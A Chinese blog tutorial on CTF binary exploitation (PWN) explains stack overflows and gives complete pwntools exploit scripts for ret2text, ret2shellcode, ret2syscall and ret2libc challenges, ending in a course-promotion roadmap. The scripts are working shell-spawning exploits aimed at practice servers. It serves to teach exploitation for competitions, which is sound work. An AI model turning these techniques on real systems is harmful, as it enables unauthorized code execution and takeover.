【二进制安全】PWN基础入门大全(非常详细),零基础入门到精通,看这一篇就够了

文章目录
  • 一、什么是PWN
  • 二、常见PWN漏洞
  • 三、PWN环境搭建
  • 四、PWN基础讲解
    • 1. Linux内存布局
    • 2. 经典栈溢出
      • 2.1. 栈说明
      • 2.2. 栈溢出原理
      • 2.3. 简单栈溢出利用
    • 3. 常见ROP栈溢出利用
      • 3.1. ret2shellcode
      • 3.2. ret2syscall
      • 3.3. ret2libc
  • ==零基础入门 黑客/网络安全==
      • 【----帮助网安学习,以下所有学习资料文末免费领取!----】
    • 大纲
    • 学习教程
    • 面试刷题
  • 资料领取

一、什么是PWN

PWN是一个黑客之间使用的词语,通常指攻破设备或系统。发音类似“砰”,对黑客而言,这象征着成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被操纵了。在网络安全语境中,PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统,他们就可以执行各种恶意活动,如窃取数据、安装恶意软件或制造更广泛的破坏。

在CTF(Capture The Flag)等黑客竞赛中,PWN任务经常涉及在一个受限制的环境中寻找和利用漏洞来访问受保护的资源或系统。具体来说,PWN题目通常会提供一个用C或C++编写的程序,该程序运行在目标服务器上,参赛者需要通过网络与服务器进行交互,利用程序中的漏洞(如栈溢出、堆溢出、整数溢出、格式化字符串漏洞等)来造成内存破坏,进而获取远程计算机的shell,并最终获得flag。

二、常见PWN漏洞

  • 栈溢出(Stack Overflow)

栈溢出是一种常见的安全漏洞,它利用了程序在执行过程中使用的栈内存空间有限的特性。栈是一种数据结构,用来存储函数的局部变量、函数的参数以及函数调用的返回地址等信息。栈的特点是先进后出,即最后进入栈的数据最先被访问到。当攻击者向程序输入过多的数据时,这些数据会超出栈内存所能容纳的范围,从而覆盖了栈中的其他数据,甚至覆盖了函数返回地址。一旦返回地址被篡改,程序就会跳转到攻击者指定的代码执行,从而实现任意代码执行的攻击。

  • 堆溢出(Heap Overflow)

堆溢出是另一种内存溢出漏洞,但与栈溢出不同,它发生在程序的堆内存区域。堆是用来动态分配内存的区域,程序员可以请求分配任意大小的内存块,并在程序运行期间随时释放它们。堆溢出通常是由于程序在写入数据时超出了申请的内存块大小,导致数据覆盖了相邻的内存块。

  • 整数溢出(Integer Overflow)

整数溢出发生在将一个较大的整数赋值给一个较小范围的整数变量时,导致数据超出该变量的存储范围并发生溢出。这种溢出可能导致数据被截断、覆盖或产生不正确的计算结果。攻击者可以利用整数溢出漏洞来绕过安全限制、绕过认证机制或执行其他恶意操作。

  • 格式化字符串漏洞(Format String Vulnerability)

格式化字符串漏洞通常发生在C语言等编程语言中,当程序不正确地处理格式化字符串函数(如printf、sprintf等)的输入时。攻击者可以通过构造特制的格式化字符串来读取或写入任意内存地址的数据,甚至执行任意代码。

  • ROP(Return-oriented Programming)

ROP是一种利用程序中的现有代码片段(称为“gadgets”)来执行攻击者意图的技术。在启用了某些安全保护(如NX位、ASLR等)的环境中,传统的栈溢出攻击可能难以直接执行shellcode。ROP通过覆盖返回地址为程序中的某个gadget的地址,并利用一系列这样的gadgets来构建攻击载荷,最终实现攻击者的目标。

三、PWN环境搭建

  1. 安装pwntools模块
sudo apt-get install python3-pippip3 install pwntools

图片

  1. 安装gdb工具和gef插件
sudo apt-get install gdbsudo git clone https://github.com/hugsy/gefcp gef/gef.py ~/.gdbinit-gef.pyecho source ~/.gdbinit-gef.py > ~/.gdbinit

图片

  1. 安装qemu模拟器
sudo apt-get install qemusudo apt-get install qemu-system qemu-user qemu-user-static binfmt-support

  1. 安装依赖和模块
sudo apt-get install gcc-arm-linux-gnueabisudo apt install gcc-mipsel-linux-gnusudo apt install gcc-mips-linux-gnusudo apt-get install gdb-multiarchpip3 install ropgadgetpip3 install ropper

四、PWN基础讲解

1. Linux内存布局

图片

  1. 栈段(Stack):用于存放非静态的局部变量、函数调用过程的栈帧信息等,地址空间向下生长,由编译器自动分配和释放,栈大小在运行时由内核动态调整,栈动态增长后就不会再收缩。

  2. 内存映射段(Memory Mapping Segment):也称为文件映射区和匿名映射区,加载的动态库、打开的文件等均映射到该区域。

  3. 堆段(Heap):运行时可动态分配的内存段,向上生长,由用户进行申请和释放等管理操作。

  4. BSS段(BSS segment):具有读写权限,用于存放初始值为0或未初始化的全局变量、静态变量,这块内存会由操作系统初始化为0。

  5. 数据段(Data segment):具有读写权限,用于存放初始值非0的全局变量、静态变量。

  6. 代码段(Text segment):具有只读权限,用于存放可执行程序、字符串、只读变量等。如定义的const变量、printf函数的格式化字符串等。

2. 经典栈溢出

2.1. 栈说明

栈是一种数据结构,遵循后进先出的原则(Last in First Out),主要有压栈(push)与出栈(pop)两种操作eax, ebx, ecx, edx, esi, edi, ebp, esp等都是X86 汇编语言中CPU上的通用寄存器的名称,是32位的寄存器。如果用C语言来解释,可以把这些寄存器当作变量看待。在栈中,esp保存栈帧的栈顶地址,ebp保存栈帧的栈底地址。程序的栈是从进程地址空间的高地址向低地址增长的。

2.2. 栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
栈溢出的前提是:程序向栈上写入数据,数据的长度不受控制。
最简单的栈溢出就是通过溢出,覆盖程序的返回地址,将返回地址覆盖为system(“/bin/sh”)的地址。

2.3. 简单栈溢出利用

通过CTFHUB平台技能树中的ret2text题进行栈溢出学习。
首先下载附件,使用checksec工具检查程序开启的保护:

图片

该程序未开启保护,并且是amd的64位程序,拖入ida进行静态分析:

图片

阅读代码发现程序调用了gets函数,gets本身是一个危险函数,它不会对字符串的长度进行校验,而是以回车判断输入是否结束,存在栈溢出漏洞,shift+f12发现程序中有可执行后门system(“/bin/sh”):

图片

那么溢出ret到执行system(“/bin/sh”)的地址即可,双击/bin/sh,ctrl+x追踪到/bin/sh的地址为0x04007B8:

图片

查看v4,发现设定的v4长度为0x70,同时由于是64位系统,需要+8字节覆盖掉ebp(32位系统+4字节覆盖掉ebp):

图片
图片

接下来就可以编写exp,运行成功获取shell:

from pwn import * p = remote("challenge-5ed622b3b63a7e82.sandbox.ctfhub.com",28525)#/bin/sh的地址shell_addr = 0x04007B8#生成0x70+8个垃圾数据覆盖参数和ebp,然后把/bin/sh的地址写入返回地址payload = b'a' * (0x70+8) + p64(shell_addr)  p.sendline(payload)p.interactive()

图片

总结栈溢出漏洞利用两个重要步骤:

  1. 寻找危险函数( gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)

  2. 确定填充长度,计算要操作的地址与要覆盖的地址的距离

3. 常见ROP栈溢出利用

3.1. ret2shellcode

shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。利用方式是将shellcode写入程序,然后利用栈溢出将eip的返回地址覆盖为shellcode的地址,进而让程序执行shellcode。这就需要程序中存在一个位置能够让我们写入shellcode并执行(比如bss段)。
以NewStarCTF平台中的ret2shellcode题为例。

将附件拖入IDA,注意mmap函数,它是向文件映射去申请一块内存,是动态库,共享内存等映射物理空间的内存:
图片

通过pwndbg可以看到,映射的区域有可执行权限:

图片

而且mmap指定了buf的起始地址为0x233000,因此可以利用第一个read向buff中写入shellcode,再通过第二个read进行栈溢出,将返回地址覆盖为0x233000,最后编写exp运行获取shell。

from pwn import *context(os='linux', arch='amd64', log_level='debug')#用pwntools生成shellcodeshellcode = asm(shellcraft.sh())p = remote('219.219.61.234',49544)p.recvline()#把shellcode写入bufp.sendline(shellcode)p.recvline()#计算偏移,栈溢出到bufpayload = b'a' * (0x30+8) + p64(0x233000)p.sendline(payload)p.interactive()

3.2. ret2syscall

ret2syscall,即控制程序执行系统调用获取shell。
系统调用是指由操作系统提供的供所有系统调用的程序接口集合,用户程序通常只在用户态下运行,当用户程序想要调用只能在内核态运行的子程序时,操作系统需要提供访问这些内核态运行的程序的接口,这些接口的集合就叫做系统调用,简要的说,系统调用是内核向用户进程提供服务的唯一方法。

用户程序通过系统调用从用户态(user mode)切换到核心态(kernel mode ),从而可以访问相应的资源。要使用系统调用,需要通过汇编指令int 0x80实现,用系统调用号来区分入口函数。
以CTFWIKI平台中的ret2syscall题为例。
首先检测程序开启的保护:

图片

看到为32位,还开启了NX保护,拖入IDA查看源代码:

图片

可以看到依然是gets函数的栈溢出,但是由于程序本身没有后门,并且无法自己写入shellcode来获得shell,这是就要用到系统调用。

简单地说,只要我们把对应获取shell的系统调用的参数放到对应的寄存器中,那么我们再执行int 0x80就可执行对应的系统调用。这里可以用execve("/bin/sh",NULL,NULL)这个系统调用来获取shell,其中execve对应的系统调用号为0xb。

由于程序是32位的,按照execve("/bin/sh",NULL,NULL),令eax为execve的系统调用号0xb,第一个参数ebx指向/bin/sh,ecx和edx为0。

而我们如何控制这些寄存器的值呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。但是我们并不能期待有一段连续的代码可以理想控制对应的寄存器,所以我们需要一段一段控制,这里需要用到ROPgadget工具寻找gadget。

图片

先找到控制eax的gadget,这几个都可以控制eax,这里使用第二个。再找控制ebx的gadget:

图片

以上都可以使用,由于0x0806eb68可以控制三个寄存器,所以选用这个地址。然后找到/bin/sh的地址:

图片

以及int 0x80的地址:

图片

最后编写exp脚本,运行获取shell。

from pwn import *p = process('./rop')pop_eax_ret = 0x080bb196pop_ebx_ecx_edx_ret = 0x0806eb90sh = 0x080be408int_0x80 = 0x08049421payload = b'a' * 112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ecx_edx_ret) + p32(0) + p32(0) + p32(sh) + p32(int_0x80)p.sendline(payload)p.interactive()

3.3. ret2libc

ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地址。

以NewStarCTF平台的ret2libc题进行学习。

首先下载附件,得到一个程序以及程序用到的libc,将程序拖入IDA分析:

图片

很明显fgets处存在栈溢出,但通过寻找,没有发现可利用的函数:

图片

根据动态链接和延迟绑定技术,运用任意地址读写技术对某个函数的GOT表进行改写,使其指向想要执行的危险函数(如systemexecve函数)

操作系统通常使用动态链接的方法来提高程序运行的效率。那么在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,也就是控制执行libc(对应版本)中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”)或者execve(“/bin/sh”,NULL,NULL),故而此时我们需要知道system函数的地址。

所以首先要做的是通过栈溢出,泄露出puts真实的地址,然后计算真实地址与libc中puts地址的偏移,进而计算出system与/bin/sh的地址,同时还要获取rdi、ret与main函数的地址。

图片

可以使用pwndbg工具寻找main函数的起始地址:

图片

最后构造exp脚本,运行获取shell。

from pwn import *
elf = ELF('./pwn')libc = ELF('./libc-2.31.so')#p = process('./pwn')p = remote('node4.buuoj.cn',25948)
#puts的plt表与got表地址puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
#libc中puts、system、/bin/sh的地址libc_puts = libc.symbols['puts']libc_system = libc.symbols['system']libc_sh = libc.search(b'/bin/sh').__next__()
pop_ret_rdi = 0x400753main = 0x400698ret = 0x40050e
p.recvuntil(b'time?\n')#64位的payload构成:栈溢出+pop rdi地址+泄露函数的got表地址+泄露函数的plt地址+ret指令(这里ret回main函数是为了跳回程序开头重新执行程序)payload = b'a' * (0x20+8) + p64(pop_ret_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)p.sendline(payload)
#直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00#\x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的#32位u32(r.recv()[0:4])puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #puts函数的真实地址#偏移base = puts_addr - libc_puts#真实的system和/bin/sh地址system_addr = base + libc_systemsh_addr = base + libc_sh
payload = b'a' * (0x20+8) + p64(ret) + p64(pop_ret_rdi) + p64(sh_addr) + p64(system_addr)p.sendline(payload)p.interactive()

网络安全学习路线&学习资源

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

本文转自 https://blog.csdn.net/weixin_46428928/article/details/143477161?spm=1001.2014.3001.5501,如有侵权,请联系删除。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值